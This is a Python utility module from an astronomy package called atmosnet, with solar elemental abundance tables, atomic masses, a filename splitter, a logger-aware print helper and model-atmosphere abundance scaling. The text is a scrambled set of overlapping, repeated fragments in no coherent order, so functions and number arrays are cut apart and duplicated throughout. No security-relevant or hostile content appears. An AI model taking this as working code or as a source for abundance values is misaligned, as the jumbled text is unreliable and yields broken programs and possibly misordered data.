"al. (2013) Phoenix model atmospheres sol = [ 12.00, 10.93, 3.26, 1.38, 2.79,",
"= [ 0.911, 10.93, 1.05, 1.38, 2.70, 8.39, 7.78, 8.66, 4.56, 7.84, 6.17,",
"251., 252. ] if not husser: #Asplund, Grevesse and Sauval (2005), basically the",
"['.fit','.fits','.fit.gz','.fits.gz','.fit.fz','.fits.fz'] for e in exten: if base[-len(e):]==e: base = base[0:-len(e)] ext = e",
"os.path.dirname(fil) datadir = codedir+'/data/' return datadir # Split a filename into directory, base",
"ext = e break return (fdir,base,ext) def model_abund(pars): \"\"\" Model atmosphere abundances. \"\"\"",
"<NAME>., <NAME>. 2007, Space Science Review 130, 205 sol = [ 0.911, 10.93,",
"return datadir # Split a filename into directory, base and fits extensions def",
"def splitfilename(filename): \"\"\" Split filename into directory, base and extensions.\"\"\" fdir = os.path.dirname(filename)",
"dlnpyutils import utils as dln import matplotlib.pyplot as plt try: import __builtin__ as",
"use model values for H and He abu[0:2] = mabu[0:2] return abu def",
"data/ directory.\"\"\" fil = os.path.abspath(__file__) codedir = os.path.dirname(fil) datadir = codedir+'/data/' return datadir",
"'H' ,'He','Li','Be','B' ,'C' ,'N' ,'O' ,'F' ,'Ne', 'Na','Mg','Al','Si','P' ,'S' ,'Cl','Ar','K' ,'Ca', 'Sc','Ti','V' ,'Cr','Mn','Fe','Co','Ni','Cu','Zn',",
"'<NAME> <<EMAIL>>' __version__ = '20210605' # yyyymmdd import os import numpy as np",
"the atmosnet data/ directory.\"\"\" fil = os.path.abspath(__file__) codedir = os.path.dirname(fil) datadir = codedir+'/data/'",
"205 sol = [ 0.911, 10.93, 1.05, 1.38, 2.70, 8.39, 7.78, 8.66, 4.56,",
"#g, = np.where(np.char.array(labels.dtype.names).find('_H') != -1) #ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') #inpabund[ind2] = np.array(labels[0])[g[ind1]] #feh =",
"-10.64, -10.66, -10.42, -11.12, -10.87, -11.14, -10.29, -11.39, -20.00, -20.00, -20.00, -20.00, -20.00,",
"-11.12, -10.87, -11.14, -10.29, -11.39, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00, -12.02, -20.00,",
"Teff and logg # last two are Hydrogen and Helium solar_abund = np.array([",
"= codedir+'/data/' return datadir # Split a filename into directory, base and fits",
"sol[0] = 1. else: #a combination of meteoritic/photospheric abundances from Asplund et al.",
"= base[0:-len(e)] ext = e break return (fdir,base,ext) def model_abund(pars): \"\"\" Model atmosphere",
"-9.83, -9.46, -10.58, -10.16, -20.00, -10.29, -11.13, -10.47, -11.10, -10.33, -11.24, -10.00, -11.03,",
"return abu def elements(husser=False): \"\"\" Reads the solar elemental abundances From <NAME>'s synple",
"and Helium solar_abund = np.array([ 4750., 2.5, -10.99, -10.66, -9.34, -3.61, -4.21, -3.35,",
"np.where(np.char.array(labels.dtype.names).find('_H') != -1) ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') abu[ind2] += (np.array(labels[0])[g[ind1]]).astype(float) - feh # convert",
"3.25, 2.36, 2.87, 2.21, 2.58, 1.46, 1.88, -9.99, 1.75, 1.06, 1.65, 1.20, 1.71,",
"1.38, 1.62, 0.80, 1.17, 0.77, 2.04, 0.65, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99,",
"from __future__ import print_function __authors__ = '<NAME> <<EMAIL>>' __version__ = '20210605' # yyyymmdd",
"7.84, 6.17, 7.53, 6.37, 7.51, 5.36, 7.14, 5.50, 6.18, 5.08, 6.31, 3.05, 4.90,",
"-9.99, -9.99, -9.99, -9.99, 0.06, -9.99, -0.52, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99,",
"fil = os.path.abspath(__file__) codedir = os.path.dirname(fil) datadir = codedir+'/data/' return datadir # Split",
"= np.where(np.char.array(labels.dtype.names).find('_H') != -1) ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') abu[ind2] += (np.array(labels[0])[g[ind1]]).astype(float) - feh #",
"#<NAME>., <NAME>., <NAME>. 2007, Space Science Review 130, 205 sol = [ 0.911,",
"# last two are Hydrogen and Helium solar_abund = np.array([ 4750., 2.5, -10.99,",
"-10.97, -11.74, -10.94, -11.56, -11.12, -11.94, -11.20, -11.94, -11.19, -12.16, -11.19, -11.78, -10.64,",
"-11.94, -11.19, -12.16, -11.19, -11.78, -10.64, -10.66, -10.42, -11.12, -10.87, -11.14, -10.29, -11.39,",
"6.24, 7.60, 6.45, 7.51, 5.41, 7.12, 5.50, 6.40, 5.08, 6.34, 3.15, 4.95, 3.93,",
"63.546, 65.39, 69.723, 72.61, 74.92160, 78.96, 79.904, 83.80, 85.4678, 87.62, 88.90585, 91.224, 92.90638,",
"\"\"\" # Create the input 99-element abundance array pertab = Table.read('/home/dnidever/payne/periodic_table.txt',format='ascii') #inpabund =",
"are Hydrogen and Helium solar_abund = np.array([ 4750., 2.5, -10.99, -10.66, -9.34, -3.61,",
"2.59, 1.42, 1.92, -9.99, 1.84, 1.12, 1.69, 0.94, 1.77, 1.60, 2.00, 1.00, 2.19,",
"247., 247., 251., 252. ] if not husser: #Asplund, Grevesse and Sauval (2005),",
"1.07, 2.17, 1.13, 1.58, 0.71, 1.45, -9.99, 1.01, 0.52, 1.12, 0.28, 1.14, 0.51,",
"1.13, 1.58, 0.71, 1.45, -9.99, 1.01, 0.52, 1.12, 0.28, 1.14, 0.51, 0.93, 0.00,",
"print_function __authors__ = '<NAME> <<EMAIL>>' __version__ = '20210605' # yyyymmdd import os import",
"7.53, 6.37, 7.51, 5.36, 7.14, 5.50, 6.18, 5.08, 6.31, 3.05, 4.90, 4.00, 5.64,",
"[X/Fe]=[X/H]-[Fe/H] g, = np.where(np.char.array(labels.dtype.names).find('_H') != -1) ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') abu[ind2] += (np.array(labels[0])[g[ind1]]).astype(float) -",
"54.93805, 55.845, 58.93320, 58.6934, 63.546, 65.39, 69.723, 72.61, 74.92160, 78.96, 79.904, 83.80, 85.4678,",
"-8.70, -9.50, -8.79, -9.52, -9.17, -9.83, -9.46, -10.58, -10.16, -20.00, -10.29, -11.13, -10.47,",
"1.69, 0.94, 1.77, 1.60, 2.00, 1.00, 2.19, 1.51, 2.27, 1.07, 2.17, 1.13, 1.58,",
"if not husser: #Asplund, Grevesse and Sauval (2005), basically the same as #<NAME>.,",
"-11.32, -10.62, -20.00, -11.08, -11.52, -10.97, -11.74, -10.94, -11.56, -11.12, -11.94, -11.20, -11.94,",
"-20.00, -20.00, -20.00, -20.00, -20.00, -20.00, -12.02, -20.00, -12.58, -20.00, -20.00, -20.00, -20.00,",
"np.float64(mlines[g[0]].split()[6]) abu[2:] /= nhtot # use model values for H and He abu[0:2]",
"(Gustafsson et al. 2008) models and and Kurucz (Meszaros et al. 2012) Kurucz",
"-9.99, 0.96, 0.52, 1.07, 0.30, 1.10, 0.48, 0.92, 0.10, 0.92, 0.10, 0.85, -0.12,",
"return inplogger.info # Check if a global logger is defined elif hasattr(builtins,\"logger\"): return",
"builtins.print # The atmosnet data directory def datadir(): \"\"\" Return the atmosnet data/",
"it's a bug warnings.filterwarnings(\"ignore\", message=\"numpy.dtype size changed\") warnings.filterwarnings(\"ignore\", message=\"numpy.ufunc size changed\") cspeed =",
"scipy.interpolate import interp1d from dlnpyutils import utils as dln import matplotlib.pyplot as plt",
"np.array(labels[0])[g[ind1]] #feh = inpabund[25] #read model atmosphere atmostype, teff, logg, vmicro2, mabu, nd,",
"-10.66, -9.34, -3.61, -4.21, -3.35, -7.48, -4.11, -5.80, -4.44, -5.59, -4.53, -6.63, -4.92,",
"np.array([ 4750., 2.5, -10.99, -10.66, -9.34, -3.61, -4.21, -3.35, -7.48, -4.11, -5.80, -4.44,",
"1.92, -9.99, 1.84, 1.12, 1.69, 0.94, 1.77, 1.60, 2.00, 1.00, 2.19, 1.51, 2.27,",
"SCALE') != -1) nhtot = np.float64(mlines[g[0]].split()[6]) abu[2:] /= nhtot # use model values",
"abundances N/N(H) \"\"\" symbol = [ 'H' ,'He','Li','Be','B' ,'C' ,'N' ,'O' ,'F' ,'Ne',",
"/= nhtot # use model values for H and He abu[0:2] = mabu[0:2]",
"basically the same as #<NAME>., <NAME>., <NAME>. 2007, Space Science Review 130, 205",
"dln import matplotlib.pyplot as plt try: import __builtin__ as builtins # Python 2",
"130, 205 sol = [ 0.911, 10.93, 1.05, 1.38, 2.70, 8.39, 7.78, 8.66,",
"10.93, 3.26, 1.38, 2.79, 8.43, 7.83, 8.69, 4.56, 7.93, 6.24, 7.60, 6.45, 7.51,",
"12.0107, 14.00674, 15.9994, 18.99840, 20.1797, 22.98977, 24.3050, 26.98154, 28.0855, 30.97376, 32.066, 35.4527, 39.948,",
"size changed\") warnings.filterwarnings(\"ignore\", message=\"numpy.ufunc size changed\") cspeed = 2.99792458e5 # speed of light",
"183.84, 186.207, 190.23, 192.217, 195.078, 196.96655, 200.59, 204.3833, 207.2, 208.98038, 209., 210., 222.,",
"al. 2009 #chosen for the Husser et al. (2013) Phoenix model atmospheres sol",
"-12.02, -20.00, -12.58, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00]) # scale global",
"] if not husser: #Asplund, Grevesse and Sauval (2005), basically the same as",
"0.72, 1.42, -9.99, 0.96, 0.52, 1.07, 0.30, 1.10, 0.48, 0.92, 0.10, 0.92, 0.10,",
"__authors__ = '<NAME> <<EMAIL>>' __version__ = '20210605' # yyyymmdd import os import numpy",
"symbol = [ 'H' ,'He','Li','Be','B' ,'C' ,'N' ,'O' ,'F' ,'Ne', 'Na','Mg','Al','Si','P' ,'S' ,'Cl','Ar','K'",
"exten: if base[-len(e):]==e: base = base[0:-len(e)] ext = e break return (fdir,base,ext) def",
"these warnings, it's a bug warnings.filterwarnings(\"ignore\", message=\"numpy.dtype size changed\") warnings.filterwarnings(\"ignore\", message=\"numpy.ufunc size changed\")",
"2.60, 2.92, 2.21, 2.59, 1.42, 1.92, -9.99, 1.84, 1.12, 1.69, 0.94, 1.77, 1.60,",
"-9.99, -9.99, -9.99, -9.99, 0.06, -9.99, -0.54, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99,",
"abu def elements(husser=False): \"\"\" Reads the solar elemental abundances From <NAME>'s synple package.",
"0.65, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, 0.06, -9.99, -0.52, -9.99, -9.99, -9.99,",
"196.96655, 200.59, 204.3833, 207.2, 208.98038, 209., 210., 222., 223., 226., 227., 232.0381, 231.03588,",
"4.56, 3.04, 3.65, 2.30, 3.34, 2.54, 3.25, 2.36, 2.87, 2.21, 2.58, 1.46, 1.88,",
"-20.00, -12.58, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00]) # scale global metallicity",
"Hydrogen and Helium solar_abund = np.array([ 4750., 2.5, -10.99, -10.66, -9.34, -3.61, -4.21,",
"__builtin__ as builtins # Python 2 except ImportError: import builtins # Python 3",
"warnings from scipy import sparse from scipy.interpolate import interp1d from dlnpyutils import utils",
"are adopted. Otherwise Asplund et al. (2005) are used -- consistent with the",
"167.26, 168.93421, 173.04, 174.967, 178.49, 180.9479, 183.84, 186.207, 190.23, 192.217, 195.078, 196.96655, 200.59,",
"Input logger if inplogger is not None: return inplogger.info # Check if a",
"array of floats atomic masses (elements Z=1-99) sol: numpy array of floats solar",
"'Na','Mg','Al','Si','P' ,'S' ,'Cl','Ar','K' ,'Ca', 'Sc','Ti','V' ,'Cr','Mn','Fe','Co','Ni','Cu','Zn', 'Ga','Ge','As','Se','Br','Kr','Rb','Sr','Y' ,'Zr', 'Nb','Mo','Tc','Ru','Rh','Pd','Ag','Cd','In','Sn', 'Sb','Te','I' ,'Xe','Cs','Ba','La','Ce','Pr','Nd', 'Pm','Sm','Eu','Gd','Tb','Dy','Ho','Er','Tm','Yb', 'Lu','Hf','Ta','W'",
"6.17, 7.53, 6.37, 7.51, 5.36, 7.14, 5.50, 6.18, 5.08, 6.31, 3.05, 4.90, 4.00,",
"4.99, 6.22, 4.19, 4.56, 3.04, 3.65, 2.30, 3.34, 2.54, 3.25, 2.36, 2.87, 2.21,",
"1.58, 0.72, 1.42, -9.99, 0.96, 0.52, 1.07, 0.30, 1.10, 0.48, 0.92, 0.10, 0.92,",
"-0.52, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99 ] sol[0] = 1. else:",
"model atmosphere atmostype, teff, logg, vmicro2, mabu, nd, atmos = synple.read_model(modelfile) mlines =",
"-9.99, -9.99, -9.99, -9.99, -9.99, -9.99, 0.06, -9.99, -0.52, -9.99, -9.99, -9.99, -9.99,",
"227., 232.0381, 231.03588, 238.0289, 237., 244., 243., 247., 247., 251., 252. ] if",
"return builtins.print # The atmosnet data directory def datadir(): \"\"\" Return the atmosnet",
"1.10, 1.58, 0.72, 1.42, -9.99, 0.96, 0.52, 1.07, 0.30, 1.10, 0.48, 0.92, 0.10,",
"-11.19, -12.16, -11.19, -11.78, -10.64, -10.66, -10.42, -11.12, -10.87, -11.14, -10.29, -11.39, -20.00,",
"5.50, 6.40, 5.08, 6.34, 3.15, 4.95, 3.93, 5.64, 5.43, 7.50, 4.99, 6.22, 4.19,",
"splitfilename(filename): \"\"\" Split filename into directory, base and extensions.\"\"\" fdir = os.path.dirname(filename) base",
"sol: numpy array of floats solar abundances N/N(H) \"\"\" symbol = [ 'H'",
"2.54, 3.25, 2.36, 2.87, 2.21, 2.58, 1.46, 1.88, -9.99, 1.75, 1.06, 1.65, 1.20,",
"os.path.abspath(__file__) codedir = os.path.dirname(fil) datadir = codedir+'/data/' return datadir # Split a filename",
"# The atmosnet data directory def datadir(): \"\"\" Return the atmosnet data/ directory.\"\"\"",
"4.90, 4.00, 5.64, 5.39, 7.45, 4.92, 6.23, 4.21, 4.60, 2.88, 3.58, 2.29, 3.33,",
"global metallicity abu = solar_abund.copy() abu[2:] += feh # Now offset the elements",
"def datadir(): \"\"\" Return the atmosnet data/ directory.\"\"\" fil = os.path.abspath(__file__) codedir =",
"utils as dln import matplotlib.pyplot as plt try: import __builtin__ as builtins #",
"datadir # Split a filename into directory, base and fits extensions def splitfilename(filename):",
"173.04, 174.967, 178.49, 180.9479, 183.84, 186.207, 190.23, 192.217, 195.078, 196.96655, 200.59, 204.3833, 207.2,",
"mabu, nd, atmos = synple.read_model(modelfile) mlines = dln.readlines(modelfile) # solar abundances # first",
"= 2.99792458e5 # speed of light in km/s def getprintfunc(inplogger=None): \"\"\" Allows you",
"teff, logg, vmicro2, mabu, nd, atmos = synple.read_model(modelfile) mlines = dln.readlines(modelfile) # solar",
"1.13, 0.90, 2.00, 0.65, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, 0.06, -9.99, -0.52,",
"ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') abu[ind2] += (np.array(labels[0])[g[ind1]]).astype(float) - feh # convert to linear abu[2:]",
"return builtins.logger.info # Return the buildin print function else: return builtins.print # The",
"2.5, -10.99, -10.66, -9.34, -3.61, -4.21, -3.35, -7.48, -4.11, -5.80, -4.44, -5.59, -4.53,",
"50.9415, 51.9961, 54.93805, 55.845, 58.93320, 58.6934, 63.546, 65.39, 69.723, 72.61, 74.92160, 78.96, 79.904,",
"7.51, 5.36, 7.14, 5.50, 6.18, 5.08, 6.31, 3.05, 4.90, 4.00, 5.64, 5.39, 7.45,",
"-9.86, -10.94, -10.46, -11.32, -10.62, -20.00, -11.08, -11.52, -10.97, -11.74, -10.94, -11.56, -11.12,",
"python \"\"\"UTILS.PY - Utility functions \"\"\" from __future__ import print_function __authors__ = '<NAME>",
"of floats atomic masses (elements Z=1-99) sol: numpy array of floats solar abundances",
"numpy array of floats solar abundances N/N(H) \"\"\" symbol = [ 'H' ,'He','Li','Be','B'",
"140.116, 140.90765, 144.24, 145, 150.36, 151.964, 157.25, 158.92534, 162.50, 164.93032, 167.26, 168.93421, 173.04,",
"2.87, 2.21, 2.58, 1.46, 1.88, -9.99, 1.75, 1.06, 1.65, 1.20, 1.71, 0.76, 2.04,",
"-9.99, -9.99, -9.99, -9.99, -9.99 ] sol[0] = 1. else: #a combination of",
"2.24, 1.08, 2.18, 1.10, 1.58, 0.72, 1.42, -9.99, 0.96, 0.52, 1.07, 0.30, 1.10,",
"abundances. \"\"\" # Create the input 99-element abundance array pertab = Table.read('/home/dnidever/payne/periodic_table.txt',format='ascii') #inpabund",
"from dlnpyutils import utils as dln import matplotlib.pyplot as plt try: import __builtin__",
"logger is defined elif hasattr(builtins,\"logger\"): return builtins.logger.info # Return the buildin print function",
"-9.99, -9.99, -9.99, -9.99 ] sol[0] = 1. else: #a combination of meteoritic/photospheric",
"# Now offset the elements with [X/Fe], [X/Fe]=[X/H]-[Fe/H] g, = np.where(np.char.array(labels.dtype.names).find('_H') != -1)",
"element symbols mass: numpy array of floats atomic masses (elements Z=1-99) sol: numpy",
"of floats solar abundances N/N(H) \"\"\" symbol = [ 'H' ,'He','Li','Be','B' ,'C' ,'N'",
"#Asplund, Grevesse and Sauval (2005), basically the same as #<NAME>., <NAME>., <NAME>. 2007,",
"warnings, it's a bug warnings.filterwarnings(\"ignore\", message=\"numpy.dtype size changed\") warnings.filterwarnings(\"ignore\", message=\"numpy.ufunc size changed\") cspeed",
"Space Science Review 130, 205 sol = [ 0.911, 10.93, 1.05, 1.38, 2.70,",
"-9.99, -9.99 ] sol[0] = 1. else: #a combination of meteoritic/photospheric abundances from",
",'O' ,'F' ,'Ne', 'Na','Mg','Al','Si','P' ,'S' ,'Cl','Ar','K' ,'Ca', 'Sc','Ti','V' ,'Cr','Mn','Fe','Co','Ni','Cu','Zn', 'Ga','Ge','As','Se','Br','Kr','Rb','Sr','Y' ,'Zr', 'Nb','Mo','Tc','Ru','Rh','Pd','Ag','Cd','In','Sn', 'Sb','Te','I'",
"floats solar abundances N/N(H) \"\"\" symbol = [ 'H' ,'He','Li','Be','B' ,'C' ,'N' ,'O'",
"# scale global metallicity abu = solar_abund.copy() abu[2:] += feh # Now offset",
"92.90638, 95.94, 98., 101.07, 102.90550, 106.42, 107.8682, 112.411, 114.818, 118.710, 121.760, 127.60, 126.90447,",
"1.00794, 4.00260, 6.941, 9.01218, 10.811, 12.0107, 14.00674, 15.9994, 18.99840, 20.1797, 22.98977, 24.3050, 26.98154,",
"0.06, 0.88, -0.17, 1.11, 0.23, 1.45, 1.38, 1.64, 1.01, 1.13, 0.90, 2.00, 0.65,",
"1.01, 1.13, 0.90, 2.00, 0.65, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, 0.06, -9.99,",
"1.01, 2.18, 1.55, 2.24, 1.08, 2.18, 1.10, 1.58, 0.72, 1.42, -9.99, 0.96, 0.52,",
"-20.00, -11.08, -11.52, -10.97, -11.74, -10.94, -11.56, -11.12, -11.94, -11.20, -11.94, -11.19, -12.16,",
"138.9055, 140.116, 140.90765, 144.24, 145, 150.36, 151.964, 157.25, 158.92534, 162.50, 164.93032, 167.26, 168.93421,",
"[ 12.00, 10.93, 3.26, 1.38, 2.79, 8.43, 7.83, 8.69, 4.56, 7.93, 6.24, 7.60,",
"-10.29, -11.39, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00, -12.02, -20.00, -12.58, -20.00, -20.00,",
"of meteoritic/photospheric abundances from Asplund et al. 2009 #chosen for the Husser et",
"0.10, 0.92, 0.10, 0.85, -0.12, 0.65, 0.26, 1.40, 1.38, 1.62, 0.80, 1.17, 0.77,",
",'Np','Pu','Am','Cm','Bk','Cf','Es' ] mass = [ 1.00794, 4.00260, 6.941, 9.01218, 10.811, 12.0107, 14.00674, 15.9994,",
"the same as #<NAME>., <NAME>., <NAME>. 2007, Space Science Review 130, 205 sol",
",'Zr', 'Nb','Mo','Tc','Ru','Rh','Pd','Ag','Cd','In','Sn', 'Sb','Te','I' ,'Xe','Cs','Ba','La','Ce','Pr','Nd', 'Pm','Sm','Eu','Gd','Tb','Dy','Ho','Er','Tm','Yb', 'Lu','Hf','Ta','W' ,'Re','Os','Ir','Pt','Au','Hg', 'Tl','Pb','Bi','Po','At','Rn','Fr','Ra','Ac','Th', 'Pa','U' ,'Np','Pu','Am','Cm','Bk','Cf','Es' ] mass =",
"datadir(): \"\"\" Return the atmosnet data/ directory.\"\"\" fil = os.path.abspath(__file__) codedir = os.path.dirname(fil)",
"-11.39, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00, -12.02, -20.00, -12.58, -20.00, -20.00, -20.00,",
"!= -1) #ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') #inpabund[ind2] = np.array(labels[0])[g[ind1]] #feh = inpabund[25] #read model",
"<NAME>. 2007, Space Science Review 130, 205 sol = [ 0.911, 10.93, 1.05,",
"-9.99, -9.99, -9.99, -9.99, -9.99, -9.99 ] sol[0] = 1. for i in",
"Helium solar_abund = np.array([ 4750., 2.5, -10.99, -10.66, -9.34, -3.61, -4.21, -3.35, -7.48,",
"atmostype, teff, logg, vmicro2, mabu, nd, atmos = synple.read_model(modelfile) mlines = dln.readlines(modelfile) #",
"4.00260, 6.941, 9.01218, 10.811, 12.0107, 14.00674, 15.9994, 18.99840, 20.1797, 22.98977, 24.3050, 26.98154, 28.0855,",
"-11.74, -10.94, -11.56, -11.12, -11.94, -11.20, -11.94, -11.19, -12.16, -11.19, -11.78, -10.64, -10.66,",
"def elements(husser=False): \"\"\" Reads the solar elemental abundances From <NAME>'s synple package. Parameters",
"4.56, 7.93, 6.24, 7.60, 6.45, 7.51, 5.41, 7.12, 5.50, 6.40, 5.08, 6.34, 3.15,",
"3.15, 4.95, 3.93, 5.64, 5.43, 7.50, 4.99, 6.22, 4.19, 4.56, 3.04, 3.65, 2.30,",
"-11.56, -11.12, -11.94, -11.20, -11.94, -11.19, -12.16, -11.19, -11.78, -10.64, -10.66, -10.42, -11.12,",
"(2005), basically the same as #<NAME>., <NAME>., <NAME>. 2007, Space Science Review 130,",
"= solar_abund.copy() abu[2:] += feh # Now offset the elements with [X/Fe], [X/Fe]=[X/H]-[Fe/H]",
"1.20, 1.71, 0.76, 2.04, 1.01, 2.18, 1.55, 2.24, 1.08, 2.18, 1.10, 1.58, 0.72,",
"np.where(np.char.array(labels.dtype.names).find('_H') != -1) #ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') #inpabund[ind2] = np.array(labels[0])[g[ind1]] #feh = inpabund[25] #read",
"-8.11, -6.40, -6.61, -4.54, -7.05, -5.82, -7.85, -7.48, -9.00, -8.39, -9.74, -8.70, -9.50,",
"model values for H and He abu[0:2] = mabu[0:2] return abu def elements(husser=False):",
"values for H and He abu[0:2] = mabu[0:2] return abu def elements(husser=False): \"\"\"",
"-11.52, -10.97, -11.74, -10.94, -11.56, -11.12, -11.94, -11.20, -11.94, -11.19, -12.16, -11.19, -11.78,",
"74.92160, 78.96, 79.904, 83.80, 85.4678, 87.62, 88.90585, 91.224, 92.90638, 95.94, 98., 101.07, 102.90550,",
"150.36, 151.964, 157.25, 158.92534, 162.50, 164.93032, 167.26, 168.93421, 173.04, 174.967, 178.49, 180.9479, 183.84,",
"sol = [ 0.911, 10.93, 1.05, 1.38, 2.70, 8.39, 7.78, 8.66, 4.56, 7.84,",
"231.03588, 238.0289, 237., 244., 243., 247., 247., 251., 252. ] if not husser:",
"2.19, 1.51, 2.27, 1.07, 2.17, 1.13, 1.58, 0.71, 1.45, -9.99, 1.01, 0.52, 1.12,",
"-4.44, -5.59, -4.53, -6.63, -4.92, -6.54, -5.64, -7.01, -5.70, -8.89, -7.09, -8.11, -6.40,",
"[ 1.00794, 4.00260, 6.941, 9.01218, 10.811, 12.0107, 14.00674, 15.9994, 18.99840, 20.1797, 22.98977, 24.3050,",
"2.99792458e5 # speed of light in km/s def getprintfunc(inplogger=None): \"\"\" Allows you to",
"4.19, 4.56, 3.04, 3.65, 2.30, 3.34, 2.54, 3.25, 2.36, 2.87, 2.21, 2.58, 1.46,",
"-9.99, -9.99, -9.99, -9.99 ] sol[0] = 1. for i in range(len(sol)-1): sol[i+1]",
"#ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') #inpabund[ind2] = np.array(labels[0])[g[ind1]] #feh = inpabund[25] #read model atmosphere atmostype,",
"78.96, 79.904, 83.80, 85.4678, 87.62, 88.90585, 91.224, 92.90638, 95.94, 98., 101.07, 102.90550, 106.42,",
"first two are Teff and logg # last two are Hydrogen and Helium",
"a global logger is defined elif hasattr(builtins,\"logger\"): return builtins.logger.info # Return the buildin",
"matplotlib.pyplot as plt try: import __builtin__ as builtins # Python 2 except ImportError:",
"2012) Kurucz model atmospheres. Returns ------- symbol: numpy array of str element symbols",
"-5.82, -7.85, -7.48, -9.00, -8.39, -9.74, -8.70, -9.50, -8.79, -9.52, -9.17, -9.83, -9.46,",
"The atmosnet data directory def datadir(): \"\"\" Return the atmosnet data/ directory.\"\"\" fil",
"-9.17, -9.83, -9.46, -10.58, -10.16, -20.00, -10.29, -11.13, -10.47, -11.10, -10.33, -11.24, -10.00,",
"-11.78, -10.64, -10.66, -10.42, -11.12, -10.87, -11.14, -10.29, -11.39, -20.00, -20.00, -20.00, -20.00,",
"Phoenix models by Huser et al. (2013) are adopted. Otherwise Asplund et al.",
"directory, base and fits extensions def splitfilename(filename): \"\"\" Split filename into directory, base",
"223., 226., 227., 232.0381, 231.03588, 238.0289, 237., 244., 243., 247., 247., 251., 252.",
"Science Review 130, 205 sol = [ 0.911, 10.93, 1.05, 1.38, 2.70, 8.39,",
"base and extensions.\"\"\" fdir = os.path.dirname(filename) base = os.path.basename(filename) exten = ['.fit','.fits','.fit.gz','.fits.gz','.fit.fz','.fits.fz'] for",
"nhtot # use model values for H and He abu[0:2] = mabu[0:2] return",
"g, = np.where(np.char.array(mlines).find('ABUNDANCE SCALE') != -1) nhtot = np.float64(mlines[g[0]].split()[6]) abu[2:] /= nhtot #",
"extensions def splitfilename(filename): \"\"\" Split filename into directory, base and extensions.\"\"\" fdir =",
"scale global metallicity abu = solar_abund.copy() abu[2:] += feh # Now offset the",
"def getprintfunc(inplogger=None): \"\"\" Allows you to modify print() locally with a logger.\"\"\" #",
"atmosnet data directory def datadir(): \"\"\" Return the atmosnet data/ directory.\"\"\" fil =",
"as np import warnings from scipy import sparse from scipy.interpolate import interp1d from",
"87.62, 88.90585, 91.224, 92.90638, 95.94, 98., 101.07, 102.90550, 106.42, 107.8682, 112.411, 114.818, 118.710,",
"7.45, 4.92, 6.23, 4.21, 4.60, 2.88, 3.58, 2.29, 3.33, 2.56, 3.28, 2.60, 2.92,",
"'Tl','Pb','Bi','Po','At','Rn','Fr','Ra','Ac','Th', 'Pa','U' ,'Np','Pu','Am','Cm','Bk','Cf','Es' ] mass = [ 1.00794, 4.00260, 6.941, 9.01218, 10.811, 12.0107,",
"# solar abundances # first two are Teff and logg # last two",
"2.04, 1.01, 2.18, 1.55, 2.24, 1.08, 2.18, 1.10, 1.58, 0.72, 1.42, -9.99, 0.96,",
"(2013) are adopted. Otherwise Asplund et al. (2005) are used -- consistent with",
"abundances from Asplund et al. 2009 #chosen for the Husser et al. (2013)",
"<gh_stars>0 #!/usr/bin/env python \"\"\"UTILS.PY - Utility functions \"\"\" from __future__ import print_function __authors__",
"8.43, 7.83, 8.69, 4.56, 7.93, 6.24, 7.60, 6.45, 7.51, 5.41, 7.12, 5.50, 6.40,",
"__version__ = '20210605' # yyyymmdd import os import numpy as np import warnings",
"-7.01, -5.70, -8.89, -7.09, -8.11, -6.40, -6.61, -4.54, -7.05, -5.82, -7.85, -7.48, -9.00,",
"-9.50, -8.79, -9.52, -9.17, -9.83, -9.46, -10.58, -10.16, -20.00, -10.29, -11.13, -10.47, -11.10,",
"121.760, 127.60, 126.90447, 131.29, 132.90545, 137.327, 138.9055, 140.116, 140.90765, 144.24, 145, 150.36, 151.964,",
"10.811, 12.0107, 14.00674, 15.9994, 18.99840, 20.1797, 22.98977, 24.3050, 26.98154, 28.0855, 30.97376, 32.066, 35.4527,",
"232.0381, 231.03588, 238.0289, 237., 244., 243., 247., 247., 251., 252. ] if not",
"-9.52, -9.17, -9.83, -9.46, -10.58, -10.16, -20.00, -10.29, -11.13, -10.47, -11.10, -10.33, -11.24,",
"light in km/s def getprintfunc(inplogger=None): \"\"\" Allows you to modify print() locally with",
"Phoenix model atmospheres sol = [ 12.00, 10.93, 3.26, 1.38, 2.79, 8.43, 7.83,",
"# yyyymmdd import os import numpy as np import warnings from scipy import",
"4.95, 3.93, 5.64, 5.43, 7.50, 4.99, 6.22, 4.19, 4.56, 3.04, 3.65, 2.30, 3.34,",
"and fits extensions def splitfilename(filename): \"\"\" Split filename into directory, base and extensions.\"\"\"",
"-10.66, -10.42, -11.12, -10.87, -11.14, -10.29, -11.39, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00,",
"2.27, 1.07, 2.17, 1.13, 1.58, 0.71, 1.45, -9.99, 1.01, 0.52, 1.12, 0.28, 1.14,",
"import interp1d from dlnpyutils import utils as dln import matplotlib.pyplot as plt try:",
"= '<NAME> <<EMAIL>>' __version__ = '20210605' # yyyymmdd import os import numpy as",
"Reads the solar elemental abundances From <NAME>'s synple package. Parameters ---------- husser: bool,",
"2 except ImportError: import builtins # Python 3 # Ignore these warnings, it's",
